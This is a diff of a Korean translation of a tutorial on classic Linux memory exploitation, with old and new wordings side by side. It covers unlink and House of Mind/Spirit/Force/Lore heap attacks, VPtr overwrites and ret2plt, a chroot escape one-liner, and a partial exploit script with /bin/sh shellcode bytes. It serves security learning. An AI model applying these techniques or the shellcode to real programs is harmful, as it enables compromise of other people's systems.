-이러한 함수들은 오류 복구나 인터럽트에 유용합니다.\
-그러나 제가 읽은 바에 의하면, 다른 레지스터는 보호되지 않습니다. 따라서 호출되는 함수 내부에 `call ebx`, `call esi` 또는 `call edi`가 있다면 제어를 얻을 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
+**`setjmp()`**는 **컨텍스트**(레지스터)를 **저장**할 수 있게 해줍니다.\
+**`longjmp()`**는 **컨텍스트**를 **복원**할 수 있게 해줍니다.\
+**저장된 레지스터**는: `EBX, ESI, EDI, ESP, EIP, EBP`\
+문제는 EIP와 ESP가 **`PTR_MANGLE`** 함수에 의해 전달된다는 것입니다. 따라서 **이 공격에 취약한 아키텍처는 위와 동일합니다**.\
+이들은 오류 복구나 인터럽트에 유용합니다.\
+그러나 제가 읽은 바에 따르면, 다른 레지스터는 보호되지 않으므로, **함수 내에서 `call ebx`, `call esi` 또는 `call edi`**가 있다면 제어를 가져올 수 있습니다. 또는 EBP를 수정하여 ESP를 수정할 수도 있습니다.
**C++의 VTable 및 VPTR**
-각 클래스에는 메서드를 가리키는 포인터 배열인 **Vtable**이 있습니다.
+각 클래스는 **메서드에 대한 포인터 배열**인 **Vtable**을 가집니다.
-각 클래스의 **객체**에는 해당 클래스의 배열을 가리키는 **VPtr**이 있습니다. VPtr은 각 객체의 헤더의 일부이므로 **VPtr을 덮어쓰면** 더미 메서드를 가리키도록 수정하여 함수를 실행하면 쉘코드로 이동할 수 있습니다.
+각 **클래스**의 객체는 **VPtr**을 가지며, 이는 해당 클래스의 배열에 대한 **포인터**입니다. VPtr은 각 객체의 헤더의 일부이므로, **VPtr**을 **수정**하여 **더미 메서드를 가리키도록 하면** 함수를 실행할 때 shellcode로 이동할 수 있습니다.
-## **예방 및 회피 조치**
-
-###
+## **예방 조치 및 회피 방법**
**Libsafe 대체**
@@ -192,82 +174,83 @@ sc:
또는\
“/lib/libsave.so.2” > /etc/ld.so.preload
-일부 안전하지 않은 함수 호출을 안전한 함수 호출로 대체합니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 것은 아님, 정적 컴파일은 아님, 모든 취약한 함수가 안전한 함수로 변환되지는 않음, LD\_PRELOAD는 suid 바이너리에서 작동하지 않음).
+안전하지 않은 일부 함수 호출을 안전한 다른 함수로 가로챕니다. 표준화되어 있지 않습니다. (x86 전용, -fomit-frame-pointer로 컴파일된 경우, 정적 컴파일이 아닌 경우, 모든 취약한 함수가 안전해지지 않으며 LD\_PRELOAD는 suid가 있는 바이너리에서는 작동하지 않습니다).
-**ASCII Armored Address Space**
+**ASCII 방어 주소 공간**
-공유 라이브러리를 0x00000000에서 0x00ffffff로 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 거의 모든 공격을 막지 못하며 리틀 엔디안에서는 특히 그렇습니다.
+0x00000000에서 0x00ffffff까지 공유 라이브러리를 로드하여 항상 0x00 바이트가 있도록 합니다. 그러나 이는 실제로 거의 모든 공격을 막지 못하며, 특히 little endian에서는 더욱 그렇습니다.
**ret2plt**
-strcpy@plt 함수를 호출하고 GOT의 항목을 가리키도록 하여 함수의 첫 번째 바이트를 system()으로 복사하는 ROP를 수행하는 것입니다. 그런 다음 GOT+1을 가리키도록 하여 system()의 두 번째 바이트를 복사합니다. 마지막으로 GOT에 저장된 주소인 system()을 호출합니다.
+ROP를 수행하여 strcpy@plt(plt의 함수)를 호출하고 GOT의 항목을 가리키며 호출하려는 함수(system())의 첫 번째 바이트를 복사합니다. 그 다음 GOT+1을 가리키며 system()의 두 번째 바이트를 복사합니다... 마지막으로 GOT에 저장된 주소를 호출하여 system()이 됩니다.
-**chroot()를 사용한 감옥**
+**chroot()를 이용한 샌드박스**
-debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리에 기본 시스템을 설치합니다.
+debootstrap -arch=i386 hardy /home/user —> 특정 하위 디렉토리 아래에 기본 시스템을 설치합니다.
-관리자는 이러한 감옥에서 나갈 수 있습니다: mkdir foo; chroot foo; cd ..
+관리자는 다음과 같이 이러한 샌드박스 중 하나에서 나올 수 있습니다: mkdir foo; chroot foo; cd ..
-**코드 인스트루먼테이션**
+**코드 계측**
-Valgrind —> 오류 찾기\
+Valgrind —> 오류 검색\
Memcheck\
RAD (Return Address Defender)\
Insure++
-## **8 힙 오버플로우: 기본 exploit**
+## **8 힙 오버플로우: 기본 익스플로잇**
-**할당된 청크**
+**할당된 조각**
prev\_size |\
size | —헤더\
\*mem | 데이터
-**빈 청크**
+**자유 조각**
prev\_size |\
size |\
-\*fd | 다음 청크를 가리키는 포인터\
-\*bk | 이전 청크를 가리키는 포인터 —헤더\
+\*fd | 다음 조각 포인터\
+\*bk | 이전 조각 포인터 —헤더\
\*mem | 데이터
-빈 청크는 이중 연결 목록(bin)에 있으며 두 개의 빈 청크가 연속해서 있을 수 없습니다.
+자유 조각은 이중 연결 리스트(bin)에 있으며, 두 개의 자유 조각이 함께 있을 수 없습니다(결합됨).
-"size"에는 다음을 나타내는 비트가 있습니다: 이전 청크가 사용 중인지, 청크가 mmap()을 통해 할당되었는지, 청크가 기본 arena에 속하는지.
+“size”에는 다음을 나타내는 비트가 있습니다: 이전 조각이 사용 중인지, mmap()을 통해 할당되었는지, 조각이 기본 아레나에 속하는지.
-청크를 해제할 때 인접한 청크 중 하나가 빈 상태인 경우, unlink() 매크로를 통해 이들이 병합되고 새로운 가장 큰 청크가 frontlink()에 전달되어 적절한 bin에 삽입됩니다.
+조각을 해제할 때 인접한 조각 중 하나가 자유로워지면, unlink() 매크로를 통해 결합되고, 더 큰 새 조각이 frontlink()로 전달되어 적절한 bin에 삽입됩니다.
unlink(){\
-BK = P->bk; —> 새로운 청크의 BK는 이전에 빈 상태였던 청크의 BK입니다.\
-FD = P->fd; —> 새로운 청크의 FD는 이전에 빈 상태였던 청크의 FD입니다.\
-FD->bk = BK; —> 다음 청크의 BK가 새로운 청크를 가리킵니다.\
-BK->fd = FD; —> 이전 청크의 FD가 새로운 청크를 가리킵니다.\
+BK = P->bk; —> 새 조각의 BK는 이전에 자유로웠던 조각의 BK입니다.\
+FD = P->fd; —> 새 조각의 FD는 이전에 자유로웠던 조각의 FD입니다.\
+FD->bk = BK; —> 다음 조각의 BK가 새 조각을 가리킵니다.\
+BK->fd = FD; —> 이전 조각의 FD가 새 조각을 가리킵니다.\
}
-따라서 P->bk를 쉘코드의 주소로, P->fd를 GOT 또는 DTORS 항목의 주소에서 12를 뺀 주소로 수정하면 다음을 달성할 수 있습니다:
+따라서 P->bk를 shellcode의 주소로 수정하고 P->fd를 GOT 또는 DTORS의 주소 - 12로 수정하면:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
-이렇게 하면 프로그램을 종료할 때 쉘코드가 실행됩니다.
+이렇게 하면 프로그램 종료 시 shellcode가 실행됩니다.
-또한, unlink()의 4번째 문은 무언가를 쓰며, 쉘코드는 이를 위해 수정되어야 합니다:
+또한 unlink()의 4번째 문장은 무언가를 쓰며, shellcode는 이를 위해 수정되어야 합니다:
-BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 이로 인해 쉘코드의 8번째 바이트부터 4바이트가 쓰여지므로 쉘코드의 첫 번째 명령은 이를 건너뛰고 나머지 쉘코드로 이동하는 노프로 이어져야 합니다.
+BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> 이는 shellcode의 8번째 바이트부터 4바이트를 쓰게 하므로, shellcode의 첫 번째 명령은 이를 건너뛰고 나머지 shellcode로 이어지는 jmp이어야 합니다.
-따라서 exploit은 다음과 같이 생성됩니다:
+따라서 익스플로잇은 다음과 같이 생성됩니다:
-버퍼1에는 노프 또는 쉘코드의 나머지로 이어지는 jmp로 시작하는 쉘코드를 넣습니다.
+buffer1에 shellcode를 넣고 jmp로 시작하여 nops 또는 나머지 shellcode로 떨어지게 합니다.
-쉘 코드 뒤에는 prev\_size 및 다음 청크의 size에 도달할 때까지 채우기를 추가합니다. 이러한 위치에는 0xfffffff0(이전 청크가 빈 상태임을 나타내는 비트가 설정됨) 및 "-4"(0xfffffffc)를 넣습니다(size를 수정하여 2번째 청크가 실제로 빈 상태임을 알게 하기 위함) -> 따라서 free()가 조사할 때 3번째 청크의 size로 이동하지만 실제로는 2번째 청크 - 4로 이동하여 2번째 청크가 빈 상태인 것으로 생각합니다. 그런 다음 **unlink()**를 호출합니다.
-unlink()를 호출하면 P->fd로 2번째 조각의 처음 데이터를 사용하므로 덮어쓰려는 주소가 거기에 들어갑니다. - 12(왜냐하면 FD->bk에는 FD에 저장된 주소에 12를 더할 것이기 때문입니다). 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣어야 하는데, 이는 쉘코드 주소(P->bk 가짜)여야 합니다.
+shellcode 뒤에는 prev\_size와 다음 조각의 size 필드에 도달할 때까지 패딩을 넣습니다. 이 위치에 0xfffffff0을 넣어 prev\_size가 자유로움을 나타내도록 하고, size에 “-4”(0xfffffffc)를 넣습니다 (이렇게 하면 3번째 조각에서 2번째 조각이 실제로 자유로웠는지 확인할 때 수정된 prev\_size로 가게 됩니다) -> 이렇게 하면 free()가 조사할 때 3번째 조각의 size로 가지만 실제로는 2번째 조각 - 4로 가서 2번째 조각이 자유롭다고 생각하게 됩니다. 그리고 그러면 **unlink()**를 호출합니다.
+
+unlink()를 호출할 때 P->fd는 2번째 조각의 첫 번째 데이터를 사용하므로, 여기에는 덮어쓰려는 주소 - 12(왜냐하면 FD->bk에 12를 더하기 때문입니다)로 들어가게 됩니다. 그리고 그 주소에 2번째 조각에서 찾은 두 번째 주소를 넣게 되며, 이는 shellcode의 주소여야 합니다(P->bk 가짜).
**from struct import \***
**import os**
-**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes padding**
+**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes의 패딩**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@@ -275,73 +258,73 @@ unlink()를 호출하면 P->fd로 2번째 조각의 처음 데이터를 사용
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
-**prev\_size = pack("\ 청크가 시작하는 위치를 가리키는 포인터를 반환합니다(mem-8)
+p = mem2chunk(mem); —> 조각이 시작되는 주소에 대한 포인터를 반환합니다 (mem-8)
…
@@ -361,11 +344,11 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
-\[1]에서 size 비트 NON\_MAIN\_ARENA를 확인하여 true를 반환하고 heap\_for\_ptr()를 실행할 수 있도록 변경할 수 있으며, 이는 "mem"에 AND를 적용하여 가장 중요하지 않은 2.5바이트를 0으로 만들고 0x08000000에 액세스하여 0x08000000->ar\_ptr(구조체 heap\_info처럼)에 액세스합니다.
+\[1]에서 size 필드의 NON\_MAIN\_ARENA 비트를 확인하며, 이 비트를 변경하여 확인이 true로 반환되도록 할 수 있습니다. 그러면 heap\_for\_ptr()가 “mem”에 대해 AND 연산을 수행하여 2.5 비트를 0으로 만듭니다 (우리의 경우 0x0804a000에서 0x08000000으로 남습니다) 그리고 0x08000000->ar\_ptr에 접근합니다 (struct heap\_info처럼).
-따라서 예를 들어 0x0804a000에 청크를 제어하고 0x081002a0에 청크를 해제할 때 0x08100000으로 이동하여 원하는 내용(예: 0x0804a000)을 쓸 수 있습니다. 두 번째 청크가 해제될 때 heap\_for\_ptr(ptr)->ar\_ptr이 0x08100000에 쓴 내용을 반환할 것입니다(0x081002a0에 이전에 본 AND를 적용하고 거기서 처음 4바이트 값을 가져오기 때문입니다, ar\_ptr).
+이렇게 하면 예를 들어 0x0804a000에서 조각을 제어할 수 있고, **0x081002a0**에서 조각이 해제되면 0x08100000 주소에 접근하여 원하는 것을 쓸 수 있습니다. 예를 들어 **0x0804a000**을 쓸 수 있습니다. 이 두 번째 조각이 해제되면 heap\_for\_ptr(ptr)->ar\_ptr가 0x08100000에 쓴 값을 반환합니다 (왜냐하면 이전에 본 AND가 0x081002a0에 적용되며, 그로부터 4바이트의 값이 추출되기 때문입니다).
-이렇게 하면 \_int\_free(ar\_ptr, mem)가 호출되며, 즉, **\_int\_free(0x0804a000, 0x081002a0)**\
+이렇게 하면 \_int\_free(ar\_ptr, mem) 즉, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
@@ -377,33 +360,34 @@ fwd->bk = p;
..}
-앞에서 본 대로 av의 값을 제어할 수 있으므로, 해제될 청크에 쓴 내용을 제어할 수 있습니다.
+앞서 본 것처럼 av의 값을 제어할 수 있습니다. 이는 우리가 해제할 조각에 쓴 것입니다.
-unsorted\_chunks가 정의된 대로 알 수 있습니다:\
+unsorted\_chunks가 정의된 대로, 우리는 다음을 알고 있습니다:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
-따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 청크의 주소가 쓰입니다.
+따라서 av->bins\[2]에 \_\_DTOR\_END\_\_-12의 값을 쓰면 마지막 명령에서 \_\_DTOR\_END\_\_에 두 번째 조각의 주소가 쓰여집니다.
-즉, 첫 번째 청크의 시작 부분에 많은 횟수로 \_\_DTOR\_END\_\_-12의 주소를 넣어야 합니다. 왜냐하면 av->bins\[2]에서 이 값을 가져오기 때문입니다.
+즉, 첫 번째 조각의 시작 부분에 여러 번 \_\_DTOR\_END\_\_-12의 주소를 넣어야 합니다. 왜냐하면 av->bins\[2]가 그 주소를 가져가기 때문입니다.
-두 번째 청크의 주소가 떨어지는 위치에 첫 번째 청크의 주소를 써야 하며, heap\_for\_ptr()가 ar\_ptr이 첫 번째 청크의 시작 부분에 있다고 생각하고 거기서 av->bins\[2]를 가져오기 때문입니다.
-두 번째 조각에서 첫 번째를 통해 prev\_size를 jump 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA를 활성화하기 위한 값으로 덮어씁니다.
+두 번째 조각의 마지막 5개의 0이 있는 주소에 첫 번째 조각의 주소를 써야 heap\_for\_ptr()가 ar\_ptr가 첫 번째 조각의 시작 부분에 있다고 생각하게 하고, av->bins\[2]를 그곳에서 가져오게 됩니다.
-다음으로 조각 2에는 많은 nops를 넣고 마지막으로 쉘코드를 넣습니다.
+두 번째 조각에서 첫 번째 조각 덕분에 prev\_size를 0x0c로 덮어쓰고 size를 NON\_MAIN\_ARENA를 활성화하는 값으로 설정합니다.
-이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고 \_\_DTOR\_END\_\_에 TROZO2의 prev\_size 주소가 쓰여 쉘코드로 이동합니다.
+그 다음 두 번째 조각에 nops를 많이 넣고 마지막으로 shellcode를 넣습니다.
-이 기술을 적용하려면 페이로드를 약간 더 복잡하게 만드는 몇 가지 요구 사항을 충족해야 합니다.
+이렇게 하면 \_int\_free(TROZO1, TROZO2)가 호출되고, prev\_size의 주소가 \_\_DTOR\_END\_\_에 쓰여져 shellcode로 점프하게 됩니다.
-이 기술은 unlink에 적용된 거의 동일한 패치가 적용되어 더 이상 적용할 수 없습니다. 새로운 대상이 가리키는 새 위치가 자신을 가리키는지 확인합니다.
+이 기술을 적용하기 위해서는 몇 가지 추가 요구 사항이 충족되어야 하며, 이는 페이로드를 조금 더 복잡하게 만듭니다.
+
+이 기술은 unlink에 대한 거의 동일한 패치가 적용되었기 때문에 더 이상 적용할 수 없습니다. 새로 가리키는 위치가 자신을 가리키고 있는지 비교합니다.
**Fastbin**
-The house of mind의 변형입니다.
+이는 마음의 집의 변형입니다.
-\_int\_free() 함수의 첫 번째 확인 후에 실행되는 코드에 도달하는 것이 중요합니다.
+우리는 다음 코드를 실행할 수 있도록 하는 것이 중요합니다. 이는 \_int\_free() 함수의 첫 번째 확인을 통과한 후에 도달합니다.
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
@@ -413,59 +397,61 @@ p->fd = \*fb
\*fb = p
-이렇게 하면 "fb"에는 GOT 내의 함수 주소가 들어가게 되며, 이 주소에 덮어쓸 대상의 주소가 들어갑니다. 이를 위해는 arena가 dtors 주소 근처에 있어야 합니다. 구체적으로 av->max\_fast가 덮어쓸 주소에 있어야 합니다.
+이렇게 하면 “fb”에 GOT의 함수 주소가 들어가고, 이 주소에 덮어쓴 조각의 주소가 들어갑니다. 이를 위해서는 arena가 dtors 주소 근처에 있어야 합니다. 더 정확히는 av->max\_fast가 덮어쓸 주소에 있어야 합니다.
-The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알게 되었기 때문에, size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()가 fastbins\[-1]을 반환하게 되고 이는 av->max\_fast를 가리킵니다.
+마음의 집에서 av의 위치를 제어할 수 있음을 알았습니다.
-여기서 av->max\_fast가 덮어쓰여야 합니다(가리키는 것이 아니라 덮어쓰여야 합니다).
+따라서 size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()는 fastbins\[-1]을 반환하여 av->max\_fast를 가리킵니다.
-또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 nops로 이어지는 jmp를 넣어야 합니다).
+이 경우 av->max\_fast는 덮어쓸 주소가 됩니다 (가리키는 것이 아니라, 그 위치가 덮어씌워집니다).
-또한, 이 가짜 조각은 av->system\_mem보다 작아야 합니다. av->system\_mem은 해당 위치에서 1848바이트 떨어져 있습니다.
+또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다).
-\_DTOR\_END\_의 널 값과 GOT의 적은 주소 때문에 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않으므로, 힙 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴봅니다.
+또한, 이 가짜 조각은 av->system\_mem보다 작아야 합니다. av->system\_mem은 1848바이트 더 멀리 있습니다.
-다른 공격 방법은 **av**를 스택으로 리다이렉션하는 것입니다.
+\_\_DTOR\_END\_의 null로 인해 및 GOT의 적은 주소로 인해, 이러한 섹션의 주소는 덮어쓰기에 적합하지 않으므로, 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴보겠습니다.
-size를 8이 아닌 16으로 수정하면 fastbin\_index()가 fastbins\[0]을 반환하고 이를 사용하여 스택을 덮어쓸 수 있습니다.
+또 다른 공격 방법은 **av**를 스택으로 리디렉션하는 것입니다.
-이를 위해 스택에 canary나 이상한 값이 없어야 하며, 실제로 4바이트 널 + EBP + RET 위치에 있어야 합니다.
+size를 8 대신 16으로 수정하면 fastbin\_index()는 fastbins\[0]을 반환하고, 이를 사용하여 스택을 덮어쓸 수 있습니다.
-4바이트 널은 **av**가 이 위치를 가리킬 것이고, **av**의 첫 번째 요소는 0이어야 합니다.
+이 경우 canary나 스택에 이상한 값이 없어야 하며, 실제로는 다음과 같은 상태여야 합니다: 4바이트 null + EBP + RET
-**av->max\_fast**는 EBP가 되며, 이는 제한을 우회하는 데 사용될 값입니다.
+4바이트 null은 **av**가 이 주소에 있어야 하며, **av**의 첫 번째 요소는 0이어야 하는 뮤텍스입니다.
-**av->fastbins\[0]**에는 **p**의 주소가 덮어쓰이고 RET이 되어 쉘코드로 이동합니다.
+**av->max\_fast**는 EBP가 되며, 이는 제약을 우회하는 데 유용한 값이 됩니다.
-또한, **av->system\_mem**(스택 위치에서 1484바이트 위)에는 우리가 수행하는 확인을 우회할 수 있는 충분한 쓰레기가 있어야 합니다.
+**av->fastbins\[0]**는 **p**의 주소로 덮어쓰여지며, RET가 되어 shellcode로 점프하게 됩니다.
-또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 새로운 가짜 조각의 size 필드 뒤에 나오는 nops로 이어지는 jmp를 넣어야 합니다).
+또한, **av->system\_mem** (스택 위치에서 1484바이트 위)에는 제약을 우회할 수 있는 많은 쓰레기가 있습니다.
-**The House of Spirit**
+또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다).
-이 경우에는 공격자가 조작 가능한 malloc 포인터(예: 오버플로우 가능한 변수 아래 스택에 있는 포인터)를 가지고 싶습니다.
+**정신의 집**
-따라서 이 포인터를 원하는 곳으로 지시할 수 있습니다. 그러나 어디든지 가능한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야 하며, 더 구체적으로는 미래의 malloc() 호출에 요청된 크기에 8을 더한 것과 동일해야 합니다. 따라서, 이 취약한 포인터 뒤에 malloc(40)이 호출된다는 것을 알고 있다면, 가짜 조각의 크기는 48과 같아야 합니다.
+이 경우 공격자가 변경할 수 있는 malloc에 대한 포인터를 얻는 것이 목표입니다 (예: 포인터가 변수에 대한 가능한 오버플로우 아래 스택에 있을 수 있습니다).
-예를 들어 프로그램이 사용자에게 숫자를 물어보는 경우 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 지시할 수 있습니다(운이 좋다면 EBP에 속할 수 있으므로, 48이 뒤에 남게 됩니다). 또한, ptr-4+48 주소는 여러 조건을 충족해야 합니다(이 경우 ptr=EBP), 즉 8 < ptr-4+48 < av->system\_mem 여야 합니다.
+이렇게 하면 이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아니며, 가짜 조각의 크기는 av->max\_fast보다 작아야 하며, 더 구체적으로는 향후 malloc() 호출에서 요청된 크기 + 8과 같아야 합니다. 따라서 이 취약한 포인터 뒤에 malloc(40)을 호출할 것이라고 알고 있다면, 가짜 조각의 크기는 48이어야 합니다.
-이 조건이 충족되면, 우리가 말한 malloc(40)을 호출할 때 EBP 주소가 할당되며, 공격자가 이 malloc에 쓸 내용을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.
+예를 들어 프로그램이 사용자에게 숫자를 요청한다면 48을 입력하여 변경 가능한 malloc 포인터를 다음 4바이트(운 좋게도 EBP에 속할 수 있음)로 가리키게 할 수 있습니다. 이렇게 하면 48이 뒤에 남아 마치 헤더 size처럼 보이게 됩니다. 또한 ptr-4+48 주소는 여러 조건을 충족해야 합니다 (이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system\_mem.
-이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다.
+이 조건이 충족되면, 다음 malloc 호출이 malloc(40)일 때, EBP 주소가 할당됩니다. 공격자가 이 malloc에 쓰는 것을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.
-**The House of Force**
+이것은 free()가 스택의 EBP 주소에 있는 조각이 새로 요청된 malloc()에 적합한 크기를 가진 조각으로 기록되도록 하기 위해 그렇게 할 것입니다.
-다음이 필요합니다:
+**힘의 집**
-* wilderness를 덮어쓸 수 있는 조각의 오버플로우
+필요한 것:
+
+* wilderness를 덮어쓸 수 있는 조각에 대한 오버플로우
* 사용자가 정의한 크기로 malloc() 호출
-* 사용자가 정의한 데이터로 malloc() 호출
+* 사용자가 정의할 수 있는 malloc() 호출
-첫 번째로 wilderness 조각의 크기를 매우 큰 값(0xffffffff)으로 덮어씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장할 필요 없이 \_int\_malloc()에서 처리됩니다.
+먼저 wilderness 조각의 size를 매우 큰 값(0xffffffff)으로 덮어씌웁니다. 이렇게 하면 충분히 큰 메모리 요청은 \_int\_malloc()에서 처리되며, 힙을 확장할 필요가 없습니다.
-두 번째로, av->top을 공격자가 제어하는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
+두 번째로 av->top을 공격자가 제어할 수 있는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
-공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어씁니다:
+우리는 av->top을 공격자가 제어할 수 있는 메모리 영역을 가리키도록 덮어써야 합니다:
victim = av->top;
@@ -473,85 +459,100 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
-victim은 현재 wilderness 조각의 주소(av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수를 더한 값입니다. 따라서, \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있다면, 다음 malloc()에 av->top이 \&EIP-8을 가리키도록 제어된 malloc()에 예약해야 하는 바이트 수는 다음과 같습니다:
+Victim은 현재 wilderness 조각의 주소(현재 av->top)의 값을 가져오고, remainder는 그 주소에 malloc() 요청된 바이트 수를 더한 것입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top이 0x080c2788에 있다면, 다음 malloc()에서 av->top이 $EIP-8을 가리키도록 하려면 malloc에서 요청해야 할 크기는:
0xbffff224 - 0x080c2788 = 3086207644.
-이렇게 하면 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어쓸 수 있습니다.
+이렇게 하면 av->top에 변경된 값이 저장되고, 다음 malloc은 EIP를 가리키게 되어 이를 덮어쓸 수 있습니다.
-새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청된 메모리보다 커야 합니다. wilderness가 \&EIP-8을 가리키고 있으면, 크기는 정확히 스택의 EBP 필드에 위치합니다.
+중요한 것은 새 wilderness 조각의 size가 마지막 malloc() 요청보다 커야 한다는 것입니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면, size는 스택의 EBP 필드에 정확히 위치하게 됩니다.
-**The House of Lore**
+**전설의 집**
**SmallBin 손상**
-해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣는 대신 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각을 사용할 수 있는 경우 반환하지만 더 큰 조각을 예약하면 unsorted bins에 있던 조각이 해당 적절한 bin에 들어갑니다.
+해제된 조각은 크기에 따라 bin에 삽입됩니다. 그러나 삽입되기 전에 unsorted bins에 저장됩니다. 조각이 해제되면 즉시 bin에 들어가지 않고 unsorted bins에 남아 있습니다. 그 후, 새 조각이 예약되고 이전에 해제된 조각이 유용하다면 반환되지만, 더 큰 조각이 예약되면 unsorted bins의 해제된 조각이 적절한 bin에 들어갑니다.
-취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 크고 MIN\_LARGE\_SIZE(512)보다 작아야 합니다.
-만약 bin에 요청된 크기에 적합한 조각이 있다면 그것을 unlink한 후 반환합니다:
+취약한 코드를 도달하기 위해 메모리 요청은 av->max\_fast(보통 72)보다 커야 하며, MIN\_LARGE\_SIZE(512)보다 작아야 합니다.
+
+bin에 요청된 크기에 적합한 조각이 있다면, 그 조각이 해제된 후에 반환됩니다:
bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다.
-bin->bk = bck; 뒤에서 두 번째 조각이 마지막이 되며, bck가 스택을 가리키고 있다면 다음 할당된 조각에 이 주소가 제공됩니다.
+bin->bk = bck; 이전 조각이 마지막 조각이 되며, bck가 스택을 가리키면 다음 예약된 조각에 이 주소가 주어집니다.
-bck->fd = bin; 이를 통해 리스트가 닫히고 이것이 bin을 가리키게 됩니다.
+bck->fd = bin; 이 리스트를 닫아 bin을 가리키게 합니다.
필요한 것:
-두 개의 malloc을 할당해야 합니다. 두 번째 조각이 해제되고 bin에 들어간 후에 첫 번째 조각에 오버플로우를 할 수 있어야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc을 할당해야 합니다).
+두 개의 malloc을 예약하여 첫 번째가 오버플로우된 후 두 번째가 해제되고 bin에 들어가도록 합니다 (즉, 두 번째 조각보다 큰 malloc을 예약한 후 오버플로우를 수행해야 합니다).
-공격자가 제어할 수 있는 주소로 공격자가 선택한 주소를 가리키는 malloc이 필요합니다.
+공격자가 선택한 주소를 가진 malloc은 공격자가 제어해야 합니다.
-목표는 다음과 같습니다. 해제된 bin 리스트의 아래에 이미 해제된 조각이 있는 힙에 오버플로우를 할 수 있다면, 그 조각의 bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 해당 조각이 bin 리스트의 첫 번째가 되고 예약되면, bin은 속아서 bin 리스트의 마지막 조각이 (다음으로 제공될) 우리가 설정한 가짜 주소에 있다고 믿게 됩니다 (예: 스택 또는 GOT). 따라서 다른 조각을 다시 예약하고 공격자가 권한을 갖고 있다면, 원하는 위치에 조각이 제공되고 거기에 쓸 수 있습니다.
